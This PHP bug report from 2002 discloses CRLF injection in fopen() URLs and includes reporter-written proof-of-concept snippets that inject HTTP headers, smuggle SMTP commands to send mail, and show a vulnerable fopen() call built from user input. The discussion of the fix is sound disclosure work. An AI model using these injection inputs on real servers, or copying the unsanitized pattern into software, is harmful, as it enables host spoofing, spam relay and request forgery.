ID: 19160
Updated by: stas@php.net
Reported By: ulfh@update.uu.se
Status: Assigned
Bug Type: HTTP related
Operating System: Linux (Red Hat, Debian)
PHP Version: 4.2.2
Assigned To: derick
New Comment:
For reference: Bugtraq posts related to the issue:
http://online.securityfocus.com/archive/1/291091/2002-09-07/2002-09-13/0http://online.securityfocus.com/archive/1/290872/2002-09-07/2002-09-13/0http://online.securityfocus.com/archive/1/291078/2002-09-07/2002-09-13/0
Note that not only fopen() & Co., but also header() is affected.
Previous Comments:
------------------------------------------------------------------------
[2002-08-29 01:31:44] derick@php.net
I disagree too, assiging to me.
Derick
------------------------------------------------------------------------
[2002-08-28 18:59:25] ulfh@update.uu.se
Well, I disagree. URL's don't have any field for setting cookies or
user agents, so being able to do that from a field that claims to
contain a URL is a bug in my opinion.
// Ulf Harnhammar
------------------------------------------------------------------------
[2002-08-28 18:51:20] rasmus@php.net
Seems like a feature to me. Should probably be documented if we keep
it, but there are many examples of functions in PHP that you should not
be sending raw user data to. Things like exec(), include(), readfile()
and fopen() in the non-URL sense all need their inputs sanitized.
------------------------------------------------------------------------
[2002-08-28 18:35:41] ulfh@update.uu.se
As you know, you can use URL's in fopen(), file() etc when
allow_url_fopen is On. Unfortunately, PHP doesn't remove spaces, tabs,
CR or LF characters from the URL before constructing an HTTP query.
This means that we can add arbitrary HTTP headers to the URL, like
this:
<?php
$fp = fopen("http://www.site1.st/ HTTP/1.0\n".
"Host: www.site2.st\n".
"User-Agent: Nozilla/0.0\n".
"Referer: http://www.metaur.nu/\n".
"Cookie: user=ulf\n\n", "r");
fpassthru($fp);
?>
This program will display the contents of site2.st instead of site1.st,
if they live on the same virtual host.
You can also use it for communication with other types of servers than
HTTP servers:
<?php
$fp = fopen("http://mail.site1.st:25/ HTTP/1.0\n".
"HELO my.own.machine\n".
"MAIL FROM: <user@my.own.machine>\n".
"RCPT TO: <info@site1.st>\n".
"DATA\n".
"From: user@my.own.machine\n".
"To: info@site1.st\n".
"Subject: This is..\n\n".
"This is a URL that sends an e-mail (?).\n".
".\n".
"QUIT\n\n", "r");
fpassthru($fp);
?>
Both the mail server and PHP will complain, but the mail still gets
sent.
This can even lead to a security hole in a program like this:
<?php
$fp = fopen("http://www.site3.st/$path",
"r");
fpassthru($fp);
?>
because it allows the user to break out of restrictions and access some
other site than site3.st.
I have verified this behaviour in PHP 4.1.2, 4.2.2 and a CVS checkout
from a few days ago. You fix it by removing all spaces, tabs, CR
characters and LF characters from the URL's.
// Ulf Harnhammar
ulfh@update.uu.se
------------------------------------------------------------------------
--
Edit this bug report at http://bugs.php.net/?id=19160&edit=1